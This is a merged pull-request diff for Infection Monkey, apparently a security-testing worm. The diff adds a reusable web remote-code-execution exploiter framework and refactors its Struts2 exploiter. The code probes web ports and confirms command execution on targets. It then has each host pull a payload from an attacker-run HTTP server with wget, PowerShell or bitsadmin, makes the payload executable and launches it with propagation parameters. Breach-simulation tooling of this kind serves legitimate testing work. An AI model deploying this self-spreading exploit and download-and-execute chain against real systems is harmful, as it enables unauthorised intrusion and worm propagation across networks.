Merge pull request #159 from VakarisZ/WebRCE_Framework

Web rce framework

infection_monkey/exploit/struts2.py

@@ -12,7 +12,7 @@ import logging
 from exploit import HostExploiter
 from exploit.tools import get_target_monkey, get_monkey_depth
 from tools import build_monkey_commandline, HTTPTools
-from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, RDP_CMDLINE_HTTP, \
+from model import CHECK_COMMAND, POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD, ID_STRING, RDP_CMDLINE_HTTP, \
                   DROPPER_ARG
 
 __author__ = "VakarisZ"
@@ -21,6 +21,9 @@ LOG = logging.getLogger(__name__)
 
 DOWNLOAD_TIMEOUT = 300
 
+# Commands used to check if monkeys already exists
+FIND_FILE = "ls %s"
+
 class Struts2Exploiter(HostExploiter):
     _TARGET_OS_TYPE = ['linux', 'windows']
 
@@ -56,7 +59,7 @@ class Struts2Exploiter(HostExploiter):
                 return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64])
 
     def check_remote_file(self, host, path):
-        command = EXISTS % path
+        command = FIND_FILE % path
         resp = self.exploit(host, command)
         if 'No such file' in resp:
             return False
@@ -88,7 +91,7 @@ class Struts2Exploiter(HostExploiter):
 
             cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)
 
-            command = WGET_HTTP % {'monkey_path': dropper_path,
+            command = WGET_HTTP_UPLOAD % {'monkey_path': dropper_path,
                                    'http_path': http_path, 'parameters': cmdline}
 
             self.exploit(url, command)
@@ -138,7 +141,7 @@ class Struts2Exploiter(HostExploiter):
             # We need to double escape backslashes. Once for payload, twice for command
             cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path))
 
-            command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
+            command = POWERSHELL_HTTP_UPLOAD % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
                                          'http_path': http_path, 'parameters': cmdline}
 
             backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
@@ -159,7 +162,7 @@ class Struts2Exploiter(HostExploiter):
 
     @staticmethod
     def check_exploit_windows(url):
-        resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS)
+        resp = Struts2Exploiter.exploit(url, CHECK_COMMAND)
         if resp and ID_STRING in resp:
             if "64-bit" in resp:
                 return "64"
@@ -170,7 +173,7 @@ class Struts2Exploiter(HostExploiter):
 
     @staticmethod
     def check_exploit_linux(url):
-        resp = Struts2Exploiter.exploit(url, CHECK_LINUX)
+        resp = Struts2Exploiter.exploit(url, CHECK_COMMAND)
         if resp and ID_STRING in resp:
             # Pulls architecture string
             arch = re.search('(?<=Architecture:)\s+(\w+)', resp)

infection_monkey/exploit/tools.py

@@ -21,7 +21,8 @@ import monkeyfs
 from network import local_ips
 from network.firewall import app as firewall
 from network.info import get_free_tcp_port, get_routes
-from transport import HTTPServer
+from transport import HTTPServer, LockedHTTPServer
+from threading import Lock
 
 
 class DceRpcException(Exception):
@@ -386,6 +387,35 @@ class HTTPTools(object):
 
         return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
 
+    @staticmethod
+    def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
+        """
+        Create http server for file transfer with a lock
+        :param host: Variable with target's information
+        :param src_path: Monkey's path on current system
+        :param local_ip: IP where to host server
+        :param local_port: Port at which to host monkey's download
+        :return: Server address in http://%s:%s/%s format and LockedHTTPServer handler
+        """
+        # To avoid race conditions we pass a locked lock to http servers thread
+        lock = Lock()
+        lock.acquire()
+        if not local_port:
+            local_port = get_free_tcp_port()
+
+        if not local_ip:
+            local_ip = get_interface_to_target(host.ip_addr)
+
+        if not firewall.listen_allowed():
+            return None, None
+
+        httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
+
+        httpd.daemon = True
+        httpd.start()
+        lock.acquire()
+        return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
+
 
 def get_interface_to_target(dst):
     if sys.platform == "win32":
@@ -481,3 +511,30 @@ def get_binaries_dir_path():
 def get_monkey_depth():
     from config import WormConfiguration
     return WormConfiguration.depth
+
+
+def get_monkey_dest_path(url_to_monkey):
+    """
+    Gets destination path from source path.
+    :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
+    :return: Corresponding monkey path from configuration
+    """
+    from config import WormConfiguration
+    if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
+        LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
+        return False
+    try:
+        if 'linux' in url_to_monkey:
+            return WormConfiguration.dropper_target_path_linux
+        elif 'windows-32' in url_to_monkey:
+            return WormConfiguration.dropper_target_path_win_32
+        elif 'windows-64' in url_to_monkey:
+            return WormConfiguration.dropper_target_path_win_64
+        else:
+            LOG.error("Could not figure out what type of monkey server was trying to upload, "
+                      "thus destination path can not be chosen.")
+            return False
+    except AttributeError:
+        LOG.error("Seems like monkey's source configuration property names changed. "
+                  "Can not get destination path to upload monkey")
+        return False

infection_monkey/exploit/web_rce.py

@@ -0,0 +1,441 @@
+import logging
+
+from exploit import HostExploiter
+from model import *
+from posixpath import join
+import re
+from abc import abstractmethod
+from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools
+from network.tools import check_tcp_port, tcp_port_to_service
+
+__author__ = 'VakarisZ'
+
+LOG = logging.getLogger(__name__)
+# Command used to check if monkeys already exists
+LOOK_FOR_FILE = "ls %s"
+POWERSHELL_NOT_FOUND = "owershell is not recognized"
+# Constants used to refer to windows architectures( used in host.os['machine'])
+WIN_ARCH_32 = "32"
+WIN_ARCH_64 = "64"
+
+
+class WebRCE(HostExploiter):
+
+    def __init__(self, host, monkey_target_paths):
+        """
+        :param host: Host that we'll attack
+        :param monkey_target_paths: Where to upload the monkey at the target host system.
+        Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... }
+        """
+        super(WebRCE, self).__init__(host)
+        self._config = __import__('config').WormConfiguration
+        if monkey_target_paths:
+            self.monkey_target_paths = monkey_target_paths
+        else:
+            self.monkey_target_paths = {'linux': self._config.dropper_target_path_linux,
+                                        'win32': self._config.dropper_target_path_win_32,
+                                        'win64': self._config.dropper_target_path_win_64}
+        self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
+        self.skip_exist = self._config.skip_exploit_if_file_exist
+
+    def get_exploit_config(self):
+        """
+        Method that creates a dictionary of configuration values for exploit
+        :return: configuration dict
+        """
+        exploit_config = dict()
+
+        # dropper: If true monkey will use dropper parameter that will detach monkey's process and try to copy
+        # it's file to the default destination path.
+        exploit_config['dropper'] = False
+
+        # upload_commands: Unformatted dict with one or two commands {'linux': WGET_HTTP_UPLOAD,'windows': WIN_CMD}
+        # Command must have "monkey_path" and "http_path" format parameters. If None defaults will be used.
+        exploit_config['upload_commands'] = None
+
+        # url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"]
+        exploit_config['url_extensions'] = None
+
+        # stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable.
+        exploit_config['stop_checking_urls'] = False
+
+        # blind_exploit: If true we won't check if file exist and won't try to get the architecture of target.
+        exploit_config['blind_exploit'] = False
+
+        return exploit_config
+
+    def exploit_host(self):
+        """
+        Method that contains default exploitation workflow
+        :return: True if exploited, False otherwise
+        """
+        # We get exploit configuration
+        exploit_config = self.get_exploit_config()
+        # Get open ports
+        ports = self.get_ports_w(self.HTTP, ["http"])
+        if not ports:
+            return False
+        # Get urls to try to exploit
+        urls = self.build_potential_urls(ports, exploit_config['url_extensions'])
+        vulnerable_urls = []
+        for url in urls:
+            if self.check_if_exploitable(url):
+                vulnerable_urls.append(url)
+                if exploit_config['stop_checking_urls']:
+                    break
+        self._exploit_info['vulnerable_urls'] = vulnerable_urls
+
+        if not vulnerable_urls:
+            return False
+
+        # Skip if monkey already exists and this option is given
+        if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(vulnerable_urls[0]):
+            LOG.info("Host %s was already infected under the current configuration, done" % self.host)
+            return True
+
+        # Check for targets architecture (if it's 32 or 64 bit)
+        if not exploit_config['blind_exploit'] and not self.set_host_arch(vulnerable_urls[0]):
+            return False
+
+        # Upload the right monkey to target
+        data = self.upload_monkey(vulnerable_urls[0], exploit_config['upload_commands'])
+
+        if data is not False and data['response'] is False:
+            return False
+
+        # Change permissions to transform monkey into executable file
+        if self.change_permissions(vulnerable_urls[0], data['path']) is False:
+            return False
+
+        # Execute remote monkey
+        if self.execute_remote_monkey(vulnerable_urls[0], data['path'], exploit_config['dropper']) is False:
+            return False
+
+        return True
+
+    @abstractmethod
+    def exploit(self, url, command):
+        """
+        A reference to a method which implements web exploit logic.
+        :param url: Url to send malicious packet to. Format: [http/https]://ip:port/extension.
+        :param command: Command which will be executed on remote host
+        :return: RCE's output/True if successful or False if failed
+        """
+        raise NotImplementedError()
+
+    def get_open_service_ports(self, port_list, names):
+        """
+        :param port_list: Potential ports to exploit. For example _config.HTTP_PORTS
+        :param names: [] of service names. Example: ["http"]
+        :return: Returns all open ports from port list that are of service names
+        """
+        candidate_services = {}
+        candidate_services.update({
+            service: self.host.services[service] for service in self.host.services if
+            (self.host.services[service] and self.host.services[service]['name'] in names)
+        })
+
+        valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
+                       tcp_port_to_service(port) in candidate_services]
+
+        return valid_ports
+
+    def check_if_port_open(self, port):
+        is_open, _ = check_tcp_port(self.host.ip_addr, port)
+        if not is_open:
+            LOG.info("Port %d is closed on %r, skipping", port, self.host)
+            return False
+        return True
+
+    def get_command(self, path, http_path, commands):
+        try:
+            if 'linux' in self.host.os['type']:
+                command = commands['linux']
+            else:
+                command = commands['windows']
+            # Format command
+            command = command % {'monkey_path': path, 'http_path': http_path}
+        except KeyError:
+            LOG.error("Provided command is missing/bad for this type of host! "
+                      "Check upload_monkey function docs before using custom monkey's upload commands.")
+            return False
+        return command
+
+    def check_if_exploitable(self, url):
+        """
+        Checks if target is exploitable by interacting with url
+        :param url: Url to exploit
+        :return: True if exploitable and false if not
+        """
+        try:
+            resp = self.exploit(url, CHECK_COMMAND)
+            if resp is True:
+                return True
+            elif resp is not False and ID_STRING in resp:
+                return True
+            else:
+                return False
+        except Exception as e:
+            LOG.error("Host's exploitability check failed due to: %s" % e)
+            return False
+
+    def build_potential_urls(self, ports, extensions=None):
+        """
+        :param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)]
+        Eg. ports: [[80, False], [443, True]]
+        :param extensions: What subdirectories to scan. www.domain.com[/extension]
+        :return: Array of url's to try and attack
+        """
+        url_list = []
+        if extensions:
+            extensions = [(e[1:] if '/' == e[0] else e) for e in extensions]
+        else:
+            extensions = [""]
+        for port in ports:
+            for extension in extensions:
+                if port[1]:
+                    protocol = "https"
+                else:
+                    protocol = "http"
+                url_list.append(join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension))
+        if not url_list:
+            LOG.info("No attack url's were built")
+        return url_list
+
+    def get_host_arch(self, url):
+        """
+        :param url: Url for exploiter to use
+        :return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ...
+        """
+        if 'linux' in self.host.os['type']:
+            resp = self.exploit(url, GET_ARCH_LINUX)
+            if resp:
+                # Pulls architecture string
+                arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
+                try:
+                    arch = arch.group(1)
+                except AttributeError:
+                    LOG.error("Looked for linux architecture but could not find it")
+                    return False
+                if arch:
+                    return arch
+                else:
+                    LOG.info("Could not pull machine architecture string from command's output")
+                    return False
+            else:
+                return False
+        else:
+            resp = self.exploit(url, GET_ARCH_WINDOWS)
+            if resp:
+                if "64-bit" in resp:
+                    return WIN_ARCH_64
+                else:
+                    return WIN_ARCH_32
+            else:
+                return False
+
+    def check_remote_monkey_file(self, url, path):
+        command = LOOK_FOR_FILE % path
+        resp = self.exploit(url, command)
+        if 'No such file' in resp:
+            return False
+        else:
+            LOG.info("Host %s was already infected under the current configuration, done" % host)
+            return True
+
+    def check_remote_files(self, url):
+        """
+        :param url: Url for exploiter to use
+        :return: True if at least one file is found, False otherwise
+        """
+        paths = []
+        if 'linux' in self.host.os['type']:
+            paths.append(self.monkey_target_paths['linux'])
+        else:
+            paths.extend([self.monkey_target_paths['win32'], self.monkey_target_paths['win64']])
+        for path in paths:
+            if self.check_remote_monkey_file(url, path):
+                return True
+        return False
+
+    # Wrapped functions:
+    def get_ports_w(self, ports, names):
+        """
+        Get ports wrapped with log
+        :param ports: Potential ports to exploit. For example WormConfiguration.HTTP_PORTS
+        :param names: [] of service names. Example: ["http"]
+        :return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [ port.nr, IsHTTPS?]
+        """
+        ports = self.get_open_service_ports(ports, names)
+        if not ports:
+            LOG.info("All default web ports are closed on %r, skipping", host)
+            return False
+        else:
+            return ports
+
+    def set_host_arch(self, url):
+        arch = self.get_host_arch(url)
+        if not arch:
+            LOG.error("Couldn't get host machine's architecture")
+            return False
+        else:
+            self.host.os['machine'] = arch
+            return True
+
+    def upload_monkey(self, url, commands=None):
+        """
+        :param url: Where exploiter should send it's request
+        :param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': WIN_CMD}
+        Command must have "monkey_path" and "http_path" format parameters.
+        :return: {'response': response/False, 'path': monkeys_path_in_host}
+        """
+        LOG.info("Trying to upload monkey to the host.")
+        src_path = get_target_monkey(self.host)
+        if not src_path:
+            LOG.info("Can't find suitable monkey executable for host %r", host)
+            return False
+        # Determine which destination path to use
+        LOG.debug("Monkey path found")
+        path = self.get_monkey_upload_path(src_path)
+        if not path:
+            return False
+        # Create server for http download and wait for it's startup.
+        http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
+        if not http_path:
+            LOG.debug("Exploiter failed, http transfer creation failed.")
+            return False
+        LOG.info("Started http server on %s", http_path)
+        if not self.host.os['type']:
+            LOG.error("Unknown target's os type. Skipping.")
+            return False
+        # Choose command:
+        if not commands:
+            commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}
+        command = self.get_command(path, http_path, commands)
+
+        resp = self.exploit(url, command)
+
+        if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
+            LOG.info("Powershell not found in host. Using bitsadmin to download.")
+            backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path}
+            resp = self.exploit(url, backup_command)
+        http_thread.join(DOWNLOAD_TIMEOUT)
+        http_thread.stop()
+        LOG.info("Uploading process finished")
+        return {'response': resp, 'path': path}
+
+    def change_permissions(self, url, path, command=None):
+        """
+        Method for linux hosts. Makes monkey executable
+        :param url: Where to send malicious packets
+        :param path: Path to monkey on remote host
+        :param command: Formatted command for permission change or None
+        :return: response, False if failed and True if permission change is not needed
+        """
+        LOG.info("Changing monkey's permissions")
+        if 'windows' in self.host.os['type']:
+            LOG.info("Permission change not required for windows")
+            return True
+        if not command:
+            command = CHMOD_MONKEY % {'monkey_path': path}
+        try:
+            resp = self.exploit(url, command)
+        except Exception as e:
+            LOG.error("Something went wrong while trying to change permission: %s" % e)
+            return False
+        # If exploiter returns True / False
+        if type(resp) is bool:
+            LOG.info("Permission change finished")
+            return resp
+        # If exploiter returns command output, we can check for execution errors
+        if 'Operation not permitted' in resp:
+            LOG.error("Missing permissions to make monkey executable")
+            return False
+        elif 'No such file or directory' in resp:
+            LOG.error("Could not change permission because monkey was not found. Check path parameter.")
+            return False
+        LOG.info("Permission change finished")
+        return resp
+
+    def execute_remote_monkey(self, url, path, dropper=False):
+        """
+        This method executes remote monkey
+        :param url: Where to send malicious packets
+        :param path: Path to monkey on remote host
+        :param dropper: Should remote monkey be executed with dropper or with monkey arg?
+        :return: Response or False if failed
+        """
+        LOG.info("Trying to execute remote monkey")
+        # Get monkey command line
+        if dropper and path:
+            # If dropper is chosen we try to move monkey to default location
+            default_path = self.get_default_dropper_path()
+            if default_path is False:
+                return False
+            monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, default_path)
+            command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': DROPPER_ARG, 'parameters': monkey_cmd}
+        else:
+            monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
+            command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd}
+        try:
+            resp = self.exploit(url, command)
+            # If exploiter returns True / False
+            if type(resp) is bool:
+                LOG.info("Execution attempt successfully finished")
+                return resp
+            # If exploiter returns command output, we can check for execution errors
+            if 'is not recognized' in resp or 'command not found' in resp:
+                LOG.error("Wrong path chosen or other process already deleted monkey")
+                return False
+            elif 'The system cannot execute' in resp:
+                LOG.error("System could not execute monkey")
+                return False
+        except Exception as e:
+            LOG.error("Something went wrong when trying to execute remote monkey: %s" % e)
+            return False
+        LOG.info("Execution attempt finished")
+        return resp
+
+    def get_monkey_upload_path(self, url_to_monkey):
+        """
+        Gets destination path from one of WEB_RCE predetermined paths(self.monkey_target_paths).
+        :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
+        :return: Corresponding monkey path from self.monkey_target_paths
+        """
+        if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
+            LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
+            return False
+        try:
+            if 'linux' in url_to_monkey:
+                return self.monkey_target_paths['linux']
+            elif 'windows-32' in url_to_monkey:
+                return self.monkey_target_paths['win32']
+            elif 'windows-64' in url_to_monkey:
+                return self.monkey_target_paths['win64']
+            else:
+                LOG.error("Could not figure out what type of monkey server was trying to upload, "
+                          "thus destination path can not be chosen.")
+                return False
+        except KeyError:
+            LOG.error("Unknown key was found. Please use \"linux\", \"win32\" and \"win64\" keys to initialize "
+                      "custom dict of monkey's destination paths")
+            return False
+
+    def get_default_dropper_path(self):
+        """
+        Gets default dropper path for the host.
+        :return: Default monkey's destination path for corresponding host or False if failed.
+        E.g. config.dropper_target_path_linux(/tmp/monkey.sh) for linux host
+        """
+        if not self.host.os.get('type') or (self.host.os['type'] != 'linux' and self.host.os['type'] != 'windows'):
+            LOG.error("Target's OS was either unidentified or not supported. Aborting")
+            return False
+        if self.host.os['type'] == 'linux':
+            return self._config.dropper_target_path_linux
+        if self.host.os['type'] == 'windows':
+            try:
+                if self.host.os['machine'] == WIN_ARCH_64:
+                    return self._config.dropper_target_path_win_64
+            except KeyError:
+                LOG.debug("Target's machine type was not set. Using win-32 dropper path.")
+        return self._config.dropper_target_path_win_32

infection_monkey/model/__init__.py

@@ -17,13 +17,15 @@ RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObje
 DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
 
 # Commands used for downloading monkeys
-POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, )
+POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\""
-WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, )
+WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s"
-RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %%(type)s %%(parameters)s'
+RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
-
+CHMOD_MONKEY = "chmod +x %(monkey_path)s"
+RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
 # Commands used to check for architecture and if machine is exploitable
-CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING
+CHECK_COMMAND = "echo %s" % ID_STRING
-CHECK_LINUX = "echo %s && lscpu" % ID_STRING
+# Architecture checking commands
+GET_ARCH_WINDOWS = "wmic os get osarchitecture"
+GET_ARCH_LINUX = "lscpu"
 
-# Commands used to check if monkeys already exists
+DOWNLOAD_TIMEOUT = 300
-EXISTS = "ls %s"

infection_monkey/network/tcp_scanner.py

@@ -2,7 +2,7 @@ from itertools import izip_longest
 from random import shuffle
 
 from network import HostScanner, HostFinger
-from network.tools import check_tcp_ports
+from network.tools import check_tcp_ports, tcp_port_to_service
 
 __author__ = 'itamar'
 
@@ -31,7 +31,7 @@ class TcpScanner(HostScanner, HostFinger):
         ports, banners = check_tcp_ports(host.ip_addr, target_ports, self._config.tcp_scan_timeout / 1000.0,
                                          self._config.tcp_scan_get_banner)
         for target_port, banner in izip_longest(ports, banners, fillvalue=None):
-            service = 'tcp-' + str(target_port)
+            service = tcp_port_to_service(target_port)
             host.services[service] = {}
             if banner:
                 host.services[service]['banner'] = banner

infection_monkey/network/tools.py

@@ -154,3 +154,7 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False):
     except socket.error as exc:
         LOG.warning("Exception when checking ports on host %s, Exception: %s", str(ip), exc)
         return [], []
+
+
+def tcp_port_to_service(port):
+    return 'tcp-' + str(port)

infection_monkey/transport/__init__.py

@@ -1,3 +1,3 @@
-from http import HTTPServer
+from http import HTTPServer, LockedHTTPServer
 
 __author__ = 'hoffer'

infection_monkey/transport/http.py

@@ -6,6 +6,7 @@ import threading
 import urllib
 from logging import getLogger
 from urlparse import urlsplit
+from threading import Lock
 
 import monkeyfs
 from base import TransportProxyBase, update_last_serve_time
@@ -183,6 +184,48 @@ class HTTPServer(threading.Thread):
         self.join(timeout)
 
 
+class LockedHTTPServer(threading.Thread):
+    """
+    Same as HTTPServer used for file downloads just with locks to avoid racing conditions.
+    You create a lock instance and pass it to this server's constructor. Then acquire the lock
+    before starting the server and after it. Once the server starts it will release the lock
+    and subsequent code will be able to continue to execute. That way subsequent code will
+    always call already running HTTP server
+    """
+    # Seconds to wait until server stops
+    STOP_TIMEOUT = 5
+
+    def __init__(self, local_ip, local_port, filename, lock, max_downloads=1):
+        self._local_ip = local_ip
+        self._local_port = local_port
+        self._filename = filename
+        self.max_downloads = max_downloads
+        self.downloads = 0
+        self._stopped = False
+        self.lock = lock
+        threading.Thread.__init__(self)
+
+    def run(self):
+        class TempHandler(FileServHTTPRequestHandler):
+            filename = self._filename
+
+            @staticmethod
+            def report_download(dest=None):
+                LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
+                self.downloads += 1
+
+        httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
+        self.lock.release()
+        while not self._stopped and self.downloads < self.max_downloads:
+            httpd.handle_request()
+
+        self._stopped = True
+
+    def stop(self, timeout=STOP_TIMEOUT):
+        self._stopped = True
+        self.join(timeout)
+
+
 class HTTPConnectProxy(TransportProxyBase):
     def run(self):
         httpd = BaseHTTPServer.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler)